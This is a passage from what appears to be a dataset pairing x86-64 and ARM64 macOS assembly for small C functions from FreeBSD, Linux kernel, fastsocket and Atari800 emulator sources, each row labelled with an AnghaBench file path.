## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %rbx
pushq %rax
.cfi_offset %rbx, -24
movq %rdi, %rbx
callq _unlink
testq %rax, %rax
je LBB0_2
## %bb.1:
leaq L_.str(%rip), %rsi
movl $2, %edi
movq %rbx, %rdx
callq _err
LBB0_2:
movl $2, %edi
callq _exit
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "could not delete: %s"
.no_dead_strip _cleanup
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function cleanup
_cleanup: ; @cleanup
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x0
bl _unlink
cbz x0, LBB0_2
; %bb.1:
Lloh0:
adrp x1, l_.str@PAGE
Lloh1:
add x1, x1, l_.str@PAGEOFF
mov w0, #2
mov x2, x19
bl _err
LBB0_2:
mov w0, #2
bl _exit
.loh AdrpAdd Lloh0, Lloh1
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "could not delete: %s"
.no_dead_strip _cleanup
.subsections_via_symbols
| AnghaBench/freebsd/usr.bin/sdiff/extr_edit.c_cleanup.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function chunk_hash
_chunk_hash: ## @chunk_hash
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, %rax
movq _L1_CACHE_BYTES@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movq %rdi, %rdx
orq %rcx, %rdx
shrq $32, %rdx
je LBB0_1
## %bb.2:
xorl %edx, %edx
divq %rcx
jmp LBB0_3
LBB0_1:
## kill: def $eax killed $eax killed $rax
xorl %edx, %edx
divl %ecx
## kill: def $eax killed $eax def $rax
LBB0_3:
movq _chunk_hash_heads@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movq _HASH_SIZE@GOTPCREL(%rip), %rdx
movq (%rdx), %rsi
movq %rax, %rdx
orq %rsi, %rdx
shrq $32, %rdx
je LBB0_4
## %bb.5:
xorl %edx, %edx
divq %rsi
jmp LBB0_6
LBB0_4:
## kill: def $eax killed $eax killed $rax
xorl %edx, %edx
divl %esi
## kill: def $edx killed $edx def $rdx
LBB0_6:
leaq (%rcx,%rdx,4), %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _L1_CACHE_BYTES,8,3 ## @L1_CACHE_BYTES
.comm _chunk_hash_heads,8,3 ## @chunk_hash_heads
.comm _HASH_SIZE,8,3 ## @HASH_SIZE
.no_dead_strip _chunk_hash
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function chunk_hash
_chunk_hash: ; @chunk_hash
.cfi_startproc
; %bb.0:
Lloh0:
adrp x8, _L1_CACHE_BYTES@GOTPAGE
Lloh1:
ldr x8, [x8, _L1_CACHE_BYTES@GOTPAGEOFF]
Lloh2:
ldr x8, [x8]
udiv x8, x0, x8
Lloh3:
adrp x9, _chunk_hash_heads@GOTPAGE
Lloh4:
ldr x9, [x9, _chunk_hash_heads@GOTPAGEOFF]
Lloh5:
adrp x10, _HASH_SIZE@GOTPAGE
Lloh6:
ldr x10, [x10, _HASH_SIZE@GOTPAGEOFF]
Lloh7:
ldr x9, [x9]
Lloh8:
ldr x10, [x10]
udiv x11, x8, x10
msub x8, x11, x10, x8
add x0, x9, x8, lsl #2
ret
.loh AdrpLdrGotLdr Lloh5, Lloh6, Lloh8
.loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh7
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.cfi_endproc
; -- End function
.comm _L1_CACHE_BYTES,8,3 ; @L1_CACHE_BYTES
.comm _chunk_hash_heads,8,3 ; @chunk_hash_heads
.comm _HASH_SIZE,8,3 ; @HASH_SIZE
.no_dead_strip _chunk_hash
.subsections_via_symbols
| AnghaBench/fastsocket/kernel/kernel/extr_audit_tree.c_chunk_hash.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function PIO_GetByte
_PIO_GetByte: ## @PIO_GetByte
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r12
pushq %rbx
.cfi_offset %rbx, -48
.cfi_offset %r12, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq _TransferStatus@GOTPCREL(%rip), %r14
movl (%r14), %esi
leaq L_.str(%rip), %rdi
xorl %ebx, %ebx
xorl %eax, %eax
callq _printf
movl %eax, %edi
callq _D
movl (%r14), %eax
addl $-128, %eax
cmpl $3, %eax
ja LBB0_10
## %bb.1:
leaq LJTI0_0(%rip), %rcx
movslq (%rcx,%rax,4), %rax
addq %rcx, %rax
jmpq *%rax
LBB0_2:
xorl %eax, %eax
popq %rbx
popq %r12
popq %r14
popq %r15
popq %rbp
jmp _PIO_Command_Frame ## TAILCALL
LBB0_3:
movl $129, (%r14)
LBB0_4:
movq _DataIndex@GOTPCREL(%rip), %r15
movl (%r15), %esi
movq _ExpectedBytes@GOTPCREL(%rip), %r12
movl (%r12), %edx
leaq L_.str.1(%rip), %rdi
xorl %ebx, %ebx
xorl %eax, %eax
callq _printf
movl %eax, %edi
callq _D
movslq (%r15), %rax
movl (%r12), %ecx
cmpl %ecx, %eax
jge LBB0_8
## %bb.5:
movq _DataBuffer@GOTPCREL(%rip), %rdx
movq (%rdx), %rdx
leal 1(%rax), %esi
movl %esi, (%r15)
movl (%rdx,%rax,4), %ebx
cmpl %ecx, %esi
jge LBB0_9
jmp LBB0_10
LBB0_6:
movq _DataIndex@GOTPCREL(%rip), %rax
movslq (%rax), %rcx
movq _ExpectedBytes@GOTPCREL(%rip), %rdx
movl (%rdx), %edx
cmpl %edx, %ecx
jge LBB0_8
## %bb.7:
movq _DataBuffer@GOTPCREL(%rip), %rsi
movq (%rsi), %rsi
leal 1(%rcx), %edi
movl %edi, (%rax)
movl (%rsi,%rcx,4), %ebx
cmpl %edx, %edi
jge LBB0_9
jmp LBB0_10
LBB0_8:
leaq L_.str.2(%rip), %rdi
callq _Log_print
LBB0_9:
movq _PIO_NoFrame@GOTPCREL(%rip), %rax
movl (%rax), %eax
movl %eax, (%r14)
LBB0_10:
movl %ebx, %eax
popq %rbx
popq %r12
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
.p2align 2, 0x90
.data_region jt32
.set L0_0_set_2, LBB0_2-LJTI0_0
.set L0_0_set_4, LBB0_4-LJTI0_0
.set L0_0_set_3, LBB0_3-LJTI0_0
.set L0_0_set_6, LBB0_6-LJTI0_0
LJTI0_0:
.long L0_0_set_2
.long L0_0_set_4
.long L0_0_set_3
.long L0_0_set_6
.end_data_region
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "PIO_GetByte TransferStatus:%d\n"
.comm _TransferStatus,4,2 ## @TransferStatus
L_.str.1: ## @.str.1
.asciz "ReadFrame: DataIndex:%d ExpectedBytes:%d\n"
.comm _DataIndex,4,2 ## @DataIndex
.comm _ExpectedBytes,4,2 ## @ExpectedBytes
.comm _DataBuffer,8,3 ## @DataBuffer
.comm _PIO_NoFrame,4,2 ## @PIO_NoFrame
L_.str.2: ## @.str.2
.asciz "Invalid read frame!"
.no_dead_strip _PIO_GetByte
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function PIO_GetByte
_PIO_GetByte: ; @PIO_GetByte
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x22, x21, [sp, #16] ; 16-byte Folded Spill
stp x20, x19, [sp, #32] ; 16-byte Folded Spill
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
Lloh0:
adrp x19, _TransferStatus@GOTPAGE
Lloh1:
ldr x19, [x19, _TransferStatus@GOTPAGEOFF]
ldr w1, [x19]
Lloh2:
adrp x0, l_.str@PAGE
Lloh3:
add x0, x0, l_.str@PAGEOFF
bl _printf
bl _D
ldr w8, [x19]
sub w8, w8, #128
cmp w8, #3
b.hi LBB0_10
; %bb.1:
Lloh4:
adrp x9, lJTI0_0@PAGE
Lloh5:
add x9, x9, lJTI0_0@PAGEOFF
adr x10, LBB0_2
ldrb w11, [x9, x8]
add x10, x10, x11, lsl #2
br x10
LBB0_2:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp x22, x21, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #64
b _PIO_Command_Frame
LBB0_3:
mov w8, #129
str w8, [x19]
LBB0_4:
Lloh6:
adrp x20, _DataIndex@GOTPAGE
Lloh7:
ldr x20, [x20, _DataIndex@GOTPAGEOFF]
ldr w1, [x20]
Lloh8:
adrp x21, _ExpectedBytes@GOTPAGE
Lloh9:
ldr x21, [x21, _ExpectedBytes@GOTPAGEOFF]
ldr w8, [x21]
str x8, [sp]
Lloh10:
adrp x0, l_.str.1@PAGE
Lloh11:
add x0, x0, l_.str.1@PAGEOFF
bl _printf
bl _D
ldrsw x8, [x20]
ldr w9, [x21]
cmp w8, w9
b.ge LBB0_8
; %bb.5:
Lloh12:
adrp x10, _DataBuffer@GOTPAGE
Lloh13:
ldr x10, [x10, _DataBuffer@GOTPAGEOFF]
Lloh14:
ldr x10, [x10]
add w11, w8, #1
str w11, [x20]
ldr w0, [x10, x8, lsl #2]
cmp w11, w9
b.ge LBB0_9
b LBB0_11
LBB0_6:
Lloh15:
adrp x9, _DataIndex@GOTPAGE
Lloh16:
ldr x9, [x9, _DataIndex@GOTPAGEOFF]
ldrsw x8, [x9]
Lloh17:
adrp x10, _ExpectedBytes@GOTPAGE
Lloh18:
ldr x10, [x10, _ExpectedBytes@GOTPAGEOFF]
Lloh19:
ldr w10, [x10]
cmp w8, w10
b.ge LBB0_8
; %bb.7:
Lloh20:
adrp x11, _DataBuffer@GOTPAGE
Lloh21:
ldr x11, [x11, _DataBuffer@GOTPAGEOFF]
Lloh22:
ldr x11, [x11]
add w12, w8, #1
str w12, [x9]
ldr w0, [x11, x8, lsl #2]
cmp w12, w10
b.ge LBB0_9
b LBB0_11
LBB0_8:
Lloh23:
adrp x0, l_.str.2@PAGE
Lloh24:
add x0, x0, l_.str.2@PAGEOFF
bl _Log_print
mov w0, #0
LBB0_9:
Lloh25:
adrp x8, _PIO_NoFrame@GOTPAGE
Lloh26:
ldr x8, [x8, _PIO_NoFrame@GOTPAGEOFF]
Lloh27:
ldr w8, [x8]
str w8, [x19]
b LBB0_11
LBB0_10:
mov w0, #0
LBB0_11:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp x22, x21, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #64
ret
.loh AdrpAdd Lloh2, Lloh3
.loh AdrpLdrGot Lloh0, Lloh1
.loh AdrpAdd Lloh4, Lloh5
.loh AdrpAdd Lloh10, Lloh11
.loh AdrpLdrGot Lloh8, Lloh9
.loh AdrpLdrGot Lloh6, Lloh7
.loh AdrpLdrGotLdr Lloh12, Lloh13, Lloh14
.loh AdrpLdrGotLdr Lloh17, Lloh18, Lloh19
.loh AdrpLdrGot Lloh15, Lloh16
.loh AdrpLdrGotLdr Lloh20, Lloh21, Lloh22
.loh AdrpAdd Lloh23, Lloh24
.loh AdrpLdrGotLdr Lloh25, Lloh26, Lloh27
.cfi_endproc
.section __TEXT,__const
lJTI0_0:
.byte (LBB0_2-LBB0_2)>>2
.byte (LBB0_4-LBB0_2)>>2
.byte (LBB0_3-LBB0_2)>>2
.byte (LBB0_6-LBB0_2)>>2
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "PIO_GetByte TransferStatus:%d\n"
.comm _TransferStatus,4,2 ; @TransferStatus
l_.str.1: ; @.str.1
.asciz "ReadFrame: DataIndex:%d ExpectedBytes:%d\n"
.comm _DataIndex,4,2 ; @DataIndex
.comm _ExpectedBytes,4,2 ; @ExpectedBytes
.comm _DataBuffer,8,3 ; @DataBuffer
.comm _PIO_NoFrame,4,2 ; @PIO_NoFrame
l_.str.2: ; @.str.2
.asciz "Invalid read frame!"
.no_dead_strip _PIO_GetByte
.subsections_via_symbols
| AnghaBench/Provenance/Cores/Atari800/atari800-src/extr_pbi_xld.c_PIO_GetByte.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _get_super_exclusive_thawed ## -- Begin function get_super_exclusive_thawed
.p2align 4, 0x90
_get_super_exclusive_thawed: ## @get_super_exclusive_thawed
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl $1, %esi
popq %rbp
jmp ___get_super_thawed ## TAILCALL
.cfi_endproc
## -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _get_super_exclusive_thawed ; -- Begin function get_super_exclusive_thawed
.p2align 2
_get_super_exclusive_thawed: ; @get_super_exclusive_thawed
.cfi_startproc
; %bb.0:
mov w1, #1
b ___get_super_thawed
.cfi_endproc
; -- End function
.subsections_via_symbols
| AnghaBench/linux/fs/extr_super.c_get_super_exclusive_thawed.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function lg4573_get_modes
_lg4573_get_modes: ## @lg4573_get_modes
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r12
pushq %rbx
.cfi_offset %rbx, -48
.cfi_offset %r12, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdi, %r15
movq (%rdi), %r14
movq 8(%rdi), %rdi
movq _default_mode@GOTPCREL(%rip), %r12
movq %r12, %rsi
callq _drm_mode_duplicate
testq %rax, %rax
je LBB0_1
## %bb.2:
movq %rax, %rbx
movq %rax, %rdi
callq _drm_mode_set_name
movq _DRM_MODE_TYPE_DRIVER@GOTPCREL(%rip), %rax
movq _DRM_MODE_TYPE_PREFERRED@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
orl (%rax), %ecx
movl %ecx, (%rbx)
movq %r14, %rdi
movq %rbx, %rsi
callq _drm_mode_probed_add
movq (%r15), %rax
movabsq $442381631549, %rcx ## imm = 0x670000003D
movq %rcx, (%rax)
movl $1, %eax
jmp LBB0_3
LBB0_1:
movq 8(%r15), %rax
movl (%rax), %edi
movl 8(%r12), %edx
movl (%r12), %r8d
movl 4(%r12), %ecx
leaq L_.str(%rip), %rsi
callq _dev_err
movq _ENOMEM@GOTPCREL(%rip), %rcx
xorl %eax, %eax
subl (%rcx), %eax
LBB0_3:
popq %rbx
popq %r12
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _default_mode,12,2 ## @default_mode
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "failed to add mode %ux%ux@%u\n"
.comm _ENOMEM,4,2 ## @ENOMEM
.comm _DRM_MODE_TYPE_DRIVER,4,2 ## @DRM_MODE_TYPE_DRIVER
.comm _DRM_MODE_TYPE_PREFERRED,4,2 ## @DRM_MODE_TYPE_PREFERRED
.no_dead_strip _lg4573_get_modes
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ; -- Begin function lg4573_get_modes
lCPI0_0:
.long 61 ; 0x3d
.long 103 ; 0x67
.section __TEXT,__text,regular,pure_instructions
.p2align 2
_lg4573_get_modes: ; @lg4573_get_modes
.cfi_startproc
; %bb.0:
stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 48
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
mov x19, x0
ldp x20, x0, [x0]
Lloh0:
adrp x22, _default_mode@GOTPAGE
Lloh1:
ldr x22, [x22, _default_mode@GOTPAGEOFF]
mov x1, x22
bl _drm_mode_duplicate
cbz x0, LBB0_2
; %bb.1:
mov x21, x0
bl _drm_mode_set_name
Lloh2:
adrp x8, _DRM_MODE_TYPE_DRIVER@GOTPAGE
Lloh3:
ldr x8, [x8, _DRM_MODE_TYPE_DRIVER@GOTPAGEOFF]
Lloh4:
ldr w8, [x8]
Lloh5:
adrp x9, _DRM_MODE_TYPE_PREFERRED@GOTPAGE
Lloh6:
ldr x9, [x9, _DRM_MODE_TYPE_PREFERRED@GOTPAGEOFF]
Lloh7:
ldr w9, [x9]
orr w8, w9, w8
str w8, [x21]
mov x0, x20
mov x1, x21
bl _drm_mode_probed_add
ldr x8, [x19]
Lloh8:
adrp x9, lCPI0_0@PAGE
Lloh9:
ldr d0, [x9, lCPI0_0@PAGEOFF]
str d0, [x8]
mov w0, #1
b LBB0_3
LBB0_2:
ldr x8, [x19, #8]
ldr w0, [x8]
ldp w3, w2, [x22, #4]
ldr w4, [x22]
Lloh10:
adrp x1, l_.str@PAGE
Lloh11:
add x1, x1, l_.str@PAGEOFF
bl _dev_err
Lloh12:
adrp x8, _ENOMEM@GOTPAGE
Lloh13:
ldr x8, [x8, _ENOMEM@GOTPAGEOFF]
Lloh14:
ldr w8, [x8]
neg w0, w8
LBB0_3:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
ret
.loh AdrpLdrGot Lloh0, Lloh1
.loh AdrpLdr Lloh8, Lloh9
.loh AdrpLdrGotLdr Lloh5, Lloh6, Lloh7
.loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4
.loh AdrpLdrGotLdr Lloh12, Lloh13, Lloh14
.loh AdrpAdd Lloh10, Lloh11
.cfi_endproc
; -- End function
.comm _default_mode,12,2 ; @default_mode
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "failed to add mode %ux%ux@%u\n"
.comm _ENOMEM,4,2 ; @ENOMEM
.comm _DRM_MODE_TYPE_DRIVER,4,2 ; @DRM_MODE_TYPE_DRIVER
.comm _DRM_MODE_TYPE_PREFERRED,4,2 ; @DRM_MODE_TYPE_PREFERRED
.no_dead_strip _lg4573_get_modes
.subsections_via_symbols
| AnghaBench/linux/drivers/gpu/drm/panel/extr_panel-lg-lg4573.c_lg4573_get_modes.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ipoib_create_ah ## -- Begin function ipoib_create_ah
.p2align 4, 0x90
_ipoib_create_ah: ## @ipoib_create_ah
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r12
pushq %rbx
.cfi_offset %rbx, -48
.cfi_offset %r12, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdx, %r15
movq %rsi, %r12
movq %rdi, %r14
movq _GFP_KERNEL@GOTPCREL(%rip), %rax
movl (%rax), %esi
movl $24, %edi
callq _kmalloc
testq %rax, %rax
je LBB0_3
## %bb.1:
movq %rax, %rbx
movq %r14, 16(%rax)
movq $0, 8(%rax)
movq %rax, %rdi
addq $4, %rdi
callq _kref_init
movq %r12, %rdi
movq %r15, %rsi
callq _ib_create_ah
movl %eax, (%rbx)
movl %eax, %edi
callq _IS_ERR
testq %rax, %rax
je LBB0_4
## %bb.2:
movq %rbx, %rdi
callq _kfree
LBB0_3:
xorl %ebx, %ebx
jmp LBB0_5
LBB0_4:
movl (%rbx), %edx
leaq L_.str(%rip), %rsi
movq %r14, %rdi
callq _ipoib_dbg
LBB0_5:
movq %rbx, %rax
popq %rbx
popq %r12
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _GFP_KERNEL,4,2 ## @GFP_KERNEL
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Created ah %p\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ipoib_create_ah ; -- Begin function ipoib_create_ah
.p2align 2
_ipoib_create_ah: ; @ipoib_create_ah
.cfi_startproc
; %bb.0:
stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 48
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
mov x21, x2
mov x22, x1
mov x20, x0
Lloh0:
adrp x8, _GFP_KERNEL@GOTPAGE
Lloh1:
ldr x8, [x8, _GFP_KERNEL@GOTPAGEOFF]
Lloh2:
ldr w1, [x8]
mov w0, #24
bl _kmalloc
mov x19, x0
cbz x0, LBB0_4
; %bb.1:
stp xzr, x20, [x19, #8]
add x0, x19, #4
bl _kref_init
mov x0, x22
mov x1, x21
bl _ib_create_ah
str w0, [x19]
bl _IS_ERR
cbz x0, LBB0_3
; %bb.2:
mov x0, x19
bl _kfree
mov x19, #0
b LBB0_4
LBB0_3:
ldr w2, [x19]
Lloh3:
adrp x1, l_.str@PAGE
Lloh4:
add x1, x1, l_.str@PAGEOFF
mov x0, x20
bl _ipoib_dbg
LBB0_4:
mov x0, x19
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
ret
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpAdd Lloh3, Lloh4
.cfi_endproc
; -- End function
.comm _GFP_KERNEL,4,2 ; @GFP_KERNEL
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Created ah %p\n"
.subsections_via_symbols
| AnghaBench/freebsd/sys/ofed/drivers/infiniband/ulp/ipoib/extr_ipoib_ib.c_ipoib_create_ah.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function ocfs2_dx_dir_link_trailer
_ocfs2_dx_dir_link_trailer: ## @ocfs2_dx_dir_link_trailer
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
pushq %rax
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rcx, %r12
movq %rdx, %r15
movq %rsi, %r14
movq %rdi, %r13
callq _INODE_CACHE
movq _OCFS2_JOURNAL_ACCESS_WRITE@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
movq %r14, %rdi
movl %eax, %esi
movq %r15, %rdx
callq _ocfs2_journal_access_dr
movl %eax, %ebx
testl %eax, %eax
je LBB0_2
## %bb.1:
movl %ebx, %edi
callq _mlog_errno
jmp LBB0_3
LBB0_2:
movl (%r13), %esi
movq %r12, %rdi
callq _ocfs2_trailer_from_bh
movq 8(%r15), %r13
movl (%r13), %ecx
movl %ecx, (%rax)
movl (%r12), %edi
callq _cpu_to_le64
movl %eax, (%r13)
movq %r14, %rdi
movq %r15, %rsi
callq _ocfs2_journal_dirty
LBB0_3:
movl %ebx, %eax
addq $8, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _OCFS2_JOURNAL_ACCESS_WRITE,4,2 ## @OCFS2_JOURNAL_ACCESS_WRITE
.no_dead_strip _ocfs2_dx_dir_link_trailer
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function ocfs2_dx_dir_link_trailer
_ocfs2_dx_dir_link_trailer: ; @ocfs2_dx_dir_link_trailer
.cfi_startproc
; %bb.0:
stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 64
stp x22, x21, [sp, #16] ; 16-byte Folded Spill
stp x20, x19, [sp, #32] ; 16-byte Folded Spill
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
mov x22, x3
mov x19, x2
mov x20, x1
mov x23, x0
bl _INODE_CACHE
mov x1, x0
Lloh0:
adrp x8, _OCFS2_JOURNAL_ACCESS_WRITE@GOTPAGE
Lloh1:
ldr x8, [x8, _OCFS2_JOURNAL_ACCESS_WRITE@GOTPAGEOFF]
Lloh2:
ldr w3, [x8]
mov x0, x20
mov x2, x19
bl _ocfs2_journal_access_dr
mov x21, x0
cbz w0, LBB0_2
; %bb.1:
mov x0, x21
bl _mlog_errno
b LBB0_3
LBB0_2:
ldr w1, [x23]
mov x0, x22
bl _ocfs2_trailer_from_bh
ldr x23, [x19, #8]
ldr w8, [x23]
str w8, [x0]
ldr w0, [x22]
bl _cpu_to_le64
str w0, [x23]
mov x0, x20
mov x1, x19
bl _ocfs2_journal_dirty
LBB0_3:
mov x0, x21
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp x22, x21, [sp, #16] ; 16-byte Folded Reload
ldp x24, x23, [sp], #64 ; 16-byte Folded Reload
ret
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.cfi_endproc
; -- End function
.comm _OCFS2_JOURNAL_ACCESS_WRITE,4,2 ; @OCFS2_JOURNAL_ACCESS_WRITE
.no_dead_strip _ocfs2_dx_dir_link_trailer
.subsections_via_symbols
| AnghaBench/fastsocket/kernel/fs/ocfs2/extr_dir.c_ocfs2_dx_dir_link_trailer.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function overo_panel_get_caps
_overo_panel_get_caps: ## @overo_panel_get_caps
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
xorl %eax, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.no_dead_strip _overo_panel_get_caps
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function overo_panel_get_caps
_overo_panel_get_caps: ; @overo_panel_get_caps
.cfi_startproc
; %bb.0:
mov x0, #0
ret
.cfi_endproc
; -- End function
.no_dead_strip _overo_panel_get_caps
.subsections_via_symbols
| AnghaBench/fastsocket/kernel/drivers/video/omap/extr_lcd_overo.c_overo_panel_get_caps.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function Slice_Get
_Slice_Get: ## @Slice_Get
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %rbx
pushq %rax
.cfi_offset %rbx, -24
movl (%rdi), %eax
movl 4(%rdi), %ebx
movl %eax, %edi
callq _Range_Get
movl %ebx, %edi
movl %eax, %esi
addq $8, %rsp
popq %rbx
popq %rbp
jmp _get ## TAILCALL
.cfi_endproc
## -- End function
.no_dead_strip _Slice_Get
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function Slice_Get
_Slice_Get: ; @Slice_Get
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
